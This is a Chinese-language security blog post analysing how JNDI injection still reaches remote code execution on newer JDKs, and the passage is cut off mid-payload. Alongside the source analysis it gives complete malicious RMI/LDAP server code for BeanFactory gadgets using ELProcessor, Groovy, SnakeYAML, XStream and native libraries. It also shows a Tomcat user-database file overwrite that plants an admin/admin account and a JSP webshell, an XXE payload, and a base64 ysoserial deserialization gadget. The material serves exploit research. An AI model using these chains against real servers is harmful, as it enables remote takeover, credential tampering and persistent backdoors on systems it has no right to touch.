- 0 前言
- 1 Java高版本JNDI繞過的原始碼分析
- 2 基於本地工廠類的利用方法
- 2.1 org.apache.naming.factory.BeanFactory
- 2.1.1 javax.el.ELProcessor.eval
- 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
- 2.1.3 javax.management.loading.MLet 探測類是否存在
- 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
- 2.1.5 com.thoughtworks.xstream.XStream.fromXML
- 2.1.6 org.mvel2.sh.ShellSession.exec()
- 2.1.7 com.sun.glass.utils.NativeLibLoader
- 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
- 2.1 org.apache.naming.factory.BeanFactory
- 3 基於服務端返回資料流的反序列化RCE
- 4 總結
- 參考
0 前言
利用JNDI進行攻擊,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase
都做了限制,從預設允許遠端載入ObjectFactory變成了不允許。RMI是在6u132, 7u122, 8u113版本開始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本開始做了限制。但依然有繞過方法,而最近淺藍師傅的文章公佈了一些新的bypass路線,正好快放假了,學習和研究一下。
1 Java高版本JNDI繞過的原始碼分析
使用marshalsec開啟rmi服務端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8090/#ExecTest
使用python開啟惡意class檔案下載服務端
py -3 -m http.server 8090
jdk 1.8u40下發起RMI請求
將java版本修改為1.8u191
直接被阻攔,需要手動設定com.sun.jndi.rmi.object.trustURLCodebase=true
先給個圖說一下JNDI的過程究竟在幹嘛
過程大抵就是這樣,高版本的阻斷在於步驟4,所以先直接說繞過思路:
- 思路一,受害者向LDAP或RMI伺服器請求Reference類後,將從伺服器下載位元組流進行反序列化獲得Reference物件,此時即可利用反序列化gadget實現RCE
- 思路二,執行步驟3時,利用受害者本地的工廠類實現RCE
說完結論,再來看一下高版本和低版本Java的關鍵不同點。
1.1 思路一的原始碼分析
除錯走到NamingManager.lookup(Name var1)
方法,其原始碼如下:
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0)); // 下載Reference的包裹類ReferenceWrapper
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟進lookup方法
var2中的ip和埠是我們指定的rmi伺服器地址,執行var2.getInputStream方法後,獲得ObjectInput物件var4,再呼叫var4.readObject方法,這是典型的Java原生反序列化過程,受害者存在可用的gadget時,我們就可以利用這個點實現高版本JNDI的RCE。
1.2 思路二的原始碼分析
前面的1.8u40時實現jndi攻擊後,顯示了呼叫鏈,跟著除錯後進入到NamingManager.getObjectFactoryFromReference
方法中,程式碼如下
可以看到,從ref中獲取codebase後,呼叫helper物件的loadClass方法從遠端下載了ExecTest這個惡意類物件,然後呼叫了newInstance方法,觸發惡意程式碼。而ref物件實際上是Reference類,該類是從rmi伺服器或ldap伺服器下載而來。
從對比1.8u40和1.8u191來看,NamingManager.getObjectFactoryFromReference
方法是沒有差別的,都先呼叫helper.loadClass(String factoryName)嘗試載入本地的工廠類,出錯或找不到指定的工廠類後,再呼叫helper.loadClass(String className, String codebase)嘗試載入遠端的工廠類。
這裡的helper物件實際上是com.sun.naming.internal.VersionHelper12
的例項物件,如下圖所示。
卻別就在於VersionHelper12,首先跟進1.8u40下VersionHelper12的loadClass(String className)方法,原始碼如下
1.8u40下VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 呼叫中間的loadClass方法
}
/**
* Package private.
*
* This internal method is used with Thread Context Class Loader (TCCL),
* please don't expose this method as public.
*/
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // 注意是URLClassLoader
return loadClass(className, cl); // 呼叫中間的loadClass方法
}
- 第一個loadClass(String className),以為著通過getContextClassLoader獲取本地ClassLoader,傳入中間的loadClass(String className, ClassLoader cl)方法後,再通過反射,從本地尋找工廠類
- 第三個loadClass(String className, String codebase)方法,則建立一個URLClassLoader,傳入中間的loadClass方法後,通過反射,會從遠端下載工廠類
下面再跟進一下1.8u191版本的VersionHelper12
1.8u191下的VersionHelper12
public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader()); // 呼叫中間的loadClass方法,從本地獲取
}
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) { // 注意這裡先進行了是否為可信URL地址的判斷!!
ClassLoader parent = getContextClassLoader();
ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); // URLClassLoader
return loadClass(className, cl); // 呼叫中間的loadClass方法,從遠端獲取
} else {
return null;
}
}
區別明顯在於從遠端下載時會驗證URL是否可信,但並沒有對本地載入工廠類進行限制。所以繞過思路之一,就在於利用本地工廠類實現RCE。
2 基於本地工廠類的利用方法
從本地工廠類實現RCE還有一個具體要求,在NamingManager.getObjectInstance
中,成功得到工廠類factory後,會呼叫factory.getObjectInstance(ref, name, nameCtx,environment)方法,建立JNDI客戶端真正需要的例項物件
也就是說,我們需要找到合適的ObjectFactory類,要求它還實現了getObjectInstance方法,並且能夠實現RCE,好在網上各位大神給出了很多答案。
需要指出的是,ref是攻擊者返回的Reference物件、name是攻擊者指定的目錄名(uri部分)、nameCtx則是攻擊者LDAP地址的解析(IP、埠等)。
2.1 org.apache.naming.factory.BeanFactory
該類只有一個方法getObjectInstance,但根據需要對原始碼進行了簡化
需要指出的是,ref是攻擊者返回的Reference物件、name是攻擊者指定的類名(uri部分)、nameCtx則是攻擊者LDAP地址的解析(IP、埠等)。
public class BeanFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
try {
Reference ref = (Reference) obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
Object bean = beanClass.getConstructor().newInstance(); // 例項化物件,需要無參建構函式!!
// 從Reference中獲取forceString引數
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<>();
String value;
// 對forceString引數進行分割
if (ra != null) {
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
for (String param: value.split(",")) { // 使用逗號分割引數
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim(); // 等號後面強制設定為setter方法名
param = param.substring(0, index).trim(); // 等號前面為屬性名
} else {}
try {
// 根據setter方法名獲取setter方法,指定forceString後就是我們指定的方法,但注意引數是String型別!
forced.put(param, beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException|SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) { // 遍歷Reference中的所有RefAddr
ra = e.nextElement();
String propName = ra.getType(); // 獲取屬性名
// 過濾一些特殊的屬性名,例如前面的forceString
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
value = (String)ra.getContent(); // 屬性名對應的引數
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
Method method = forced.get(propName); // 根據屬性名獲取對應的方法
if (method != null) {
valueArray[0] = value;
try {
method.invoke(bean, valueArray); // 執行方法,可用用forceString強制指定某個函式
} catch () {}
continue;
}
// 省略
}
}
根據原始碼的邏輯,我們可用得到這樣幾個資訊,在ldap或rmi伺服器端,我們可用設定幾個特殊的RefAddr,
-
該類必須有無參構造方法
-
並在其中設定一個forceString欄位指定某個特殊方法名,該方法執行String型別的引數
-
通過上面的方法和一個String引數即可實現RCE
2.1.1 javax.el.ELProcessor.eval
恰好有javax.el.ELProcessor滿足該條件!
Server端設定如下
pom.xml
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
server端程式碼如下
package com.bitterz.jndiBypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class TomcatBeanFactoryServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
// 例項化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 程式碼
ref.add(new StringRefAddr("forceString", "bitterz=eval"));
// 指定bitterz屬性指定其setter方法需要的引數,實際是ElProcessor.eval方法執行的引數,利用表示式執行命令
ref.add(new StringRefAddr("bitterz", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper); // 繫結目錄名
System.out.println("Server Started!");
}
}
客戶端執行請求
2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
groovy中同樣存在基於一個String引數觸發的方法
pom.xml
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.9</version>
</dependency>
GroovyShellServer.java
package com.bitterz.jndiBypass;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader;
public class GroovyShellServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
}
受害端發起rmi請求,java版本1.8u191
2.1.3 javax.management.loading.MLet 探測類是否存在
淺藍大師傅又公開了一些其它可利用的類,首先時javax.management.loading.MLet這個類,通過其loadClass方法可以探測目標是否存在某個可利用類(例如java原生反序列化的gadget)
由於javax.management.loading.MLet繼承自URLClassLoader,其addURL方法會訪問遠端伺服器,而loadClass方法可以檢測目標是否存在某個類,因此可以結合使用,檢測某個類是否存在
上面出現404,則說明前面對ELProcessor類的載入成功了。
當loadClass需要載入的類不存在時,則會直接報錯,不進入遠端類的訪問,因此http端收不到GET請求
2.1.4 org.yaml.snakeyaml.Yaml().load(String)
Yaml是做反序列化的,當然也可以實現RCE,通過其反序列化過程即可實現,payload也比較多
這裡還需要對SPI機制有一定的瞭解,先直接給我如何實現惡意jar包的吧
建立一個惡意類,實現ScriptEngineFactory介面
然後在resources目錄下建立META-INF/services/javax.script.ScriptEngineFactory檔案,裡面的內容設定為前面的惡意類名
打包編譯後,開啟http服務,執行RMI惡意服務端,執行lookup,效果如下
2.1.5 com.thoughtworks.xstream.XStream.fromXML
復現失敗了,單純用xstream.fromXML(payload)也沒有成功,可能是環境問題。。。。
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>/System/Applications/Calculator.app/Contents/MacOS/Calculator</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
2.1.6 org.mvel2.sh.ShellSession.exec()
<dependency>
<groupId>org.mvel</groupId>
<artifactId>mvel2</artifactId>
<version>2.4.12.Final</version>
</dependency>
2.1.7 com.sun.glass.utils.NativeLibLoader
JDK內建的動態連結庫載入工具類,使用其loadLibrary方法,執行鏈如下
NativeLibLoader.loadLibrary() -> NativeLibLoader.loadLibraryInternal() -> NativeLibLoader.loadLibraryFullPath()-> System.loadLibrary(libraryName);
dll程式碼如下
#include <stdio.h>
void __attribute__ ((constructor)) my_init_so()
{
FILE *fd = popen("calc", "r");
}
使用gcc編譯一個dll檔案
gcc -m64 .\libcmd.cpp -fPIC --shared -o libcmd.dll
啟動RMI Server,然後發起rmi請求,結果如下
public class NativeLibLoaderServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Users\\helloworld\\Desktop\\libcmd"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("dllLoader", referenceWrapper);
}
}
注意這裡的路徑一定要用路徑穿越,具體原因在於System.load前,對輸出的路徑與另一個路徑進行了拼接,原始碼就不貼了,除錯即可見。
2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
淺藍師傅提到掃描發現org.apache.catalina.users.MemoryUserDatabaseFactory
這個類也存在利用的可能性,並進步一步進行了研究。
該類的getObjectInstance方法,先獲取pathname和readonly兩個引數,並呼叫其setter方法,賦值完成後會呼叫org.apache.catalina.users.MemoryUserDatabase.open()
方法,而後判斷readonly=false,則呼叫save()
方法
先看其open
方法
從pathName獲取url併發起請求,獲得xml資料,而後呼叫digester對xml進行解析,所以這裡可以實現XXE。
2.2.1 XXE
開啟webserver,並放置一個惡意xml檔案如下
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>
當XXE成功時,會向http://127.0.0.1:8888/RequestFromXXE發起請求,因此圖中可見exp.xml獲取後,又向web server請求了/RequestFromXXE這個uri
2.2.2 RCE
前面是利用open方法執行過程進行XXE的,而open方法執行結束後,會執行到save方法中,注意在open方法執行過程中,我們必須設定pathname是一個URL,否則不會向下執行到save方法。還需要注意到前面XXE原理的程式碼圖片中,進行XML解析前,會從xml中獲取user、role、group,這裡的值會在後面save方法中被寫入檔案。
在pathname必須是URL的前提下,跟進save方法
注意到先進行了一個isWriteable的判斷,跟進該方法
這裡pathname是一個URL,catelina_base=c:/xx/apache-tomcat-8/
,這是令pathname=http://127.0.0.1:8888/../../conf/tomcat-users.xml, 則getParentFile()得到c:/xx/apache-tomcat-8/http:/127.0.0.1:8888/../../conf/
,此時該路徑在Windows下可以直接判定成功。但linux下必須要求目錄跳轉前的路徑必須存在,也就是說需要先在tomcat目錄下建立http:/
和http:/127.0.0.1:8888/
這兩個目錄。
淺藍師傅使用了org.h2.store.fs.FileUtils#createDirectory(String)
結合BeanFactory進行建立,其程式碼如下:
private static ResourceRef tomcatMkdirFrist() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:"));
return ref;
}
private static ResourceRef tomcatMkdirLast() {
ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=createDirectory"));
ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
return ref;
}
建立目錄後,繼續跟進save
方法,如下
將從pathname下載的xml檔案中的roles、groups和users寫入檔案中,並覆蓋給Catalina.base+pathname的檔案中。
寫入檔案的payload如下
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================寫入檔案================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================寫入檔案================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
首先是直接給tomcat寫入tomcat-users.xml檔案從而實現對tomcat的管理,Windows下不需要建立http:/127.0.0.1:8888/
目錄,在windows下執行效果如下
在linux下必須建立http:/127.0.0.1:8888/
目錄,然後再執行寫檔案的paylaod,效果如下
linux上覆現時的步驟和坑:
- 首先使用的rmiserver端程式碼如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================1 建立http:/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:"));
// ===============================2 建立http:/127.0.0.1:8888/================================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));
// ===============================3 寫入檔案================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================寫入檔案================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
在tomcat中新增的jsp檔案為:/webapps/test/1.jsp
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
用到的tomcat-users.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
- 建立conf目錄,放入tomcat-users.xml檔案,注意在conf同級目錄用python啟動web server
- 分三次註釋程式碼,再編譯和啟動惡意rmi server端,用到的命令
javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.java
java -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server
,依賴的tomcat-catalina-9.0.8.jar需要自己下載一下。每次啟動rmiserver後,訪問一次test/1.jsp,讓tomcat執行相應的paylaod - tomcat端需要修改的地方有:給tomcat/lib下新增h2-2.1.210.jar,以便能夠執行建立目錄;給
tomcat/webapps/host-manager/META-INF/context.xml
和tomcat/webapps/manager/META-INF/context.xml
裡修改為allow="^.*$"
,以便能夠遠端訪問tomcat的管理介面
最後利用可以寫入檔案這個思路,直接可以向tomcat寫入jsp webshell,需要用到程式碼和步驟如下
- 建立webapps/ROOT/test.jsp,並在webapps目錄下啟動python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
- 啟動惡意rmi server端,程式碼如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================寫入webshell檔案================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
- 訪問模擬的web jndi注入漏洞,/test/1.jsp,程式碼如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
- 訪問webshell
3 基於服務端返回資料流的反序列化RCE
第2章裡面都是rmi或ldap端返回一個惡意ref類,使得目標執行指定xxFactory.getObjectInstance()方法,該方法中具體的程式碼觸發進一步利用。還有第二個jndi bypass思路,即通過ldap/rmi指定一個惡意FactoryObject下載伺服器,讓目標訪問並下載一段惡意序列化資料,在目標反序列化時觸發Java 原生反序列化漏洞。
以常見的CC鏈舉例
- ldap端和http端使用並修改https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class serializationServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void lanuchLDAPServer(Integer ldap_port, String http_server, Integer http_port) throws Exception {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
ldap_port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL("http://"+http_server+":"+http_port+"/#Exploit")));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + ldap_port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
public static class HttpFileHandler implements HttpHandler {
public HttpFileHandler() {
}
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
String uri = httpExchange.getRequestURI().getPath();
InputStream inputStream = HttpFileHandler.class.getResourceAsStream(uri);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
if (inputStream == null){
System.out.println("Not Found");
httpExchange.close();
return;
}else{
while(inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, (long)bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
}
} catch (Exception var5) {
var5.printStackTrace();
}
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload1 end **/
/** Payload2: Return Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdAAObmV3VHJhbnNmb3JtZXJ1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcG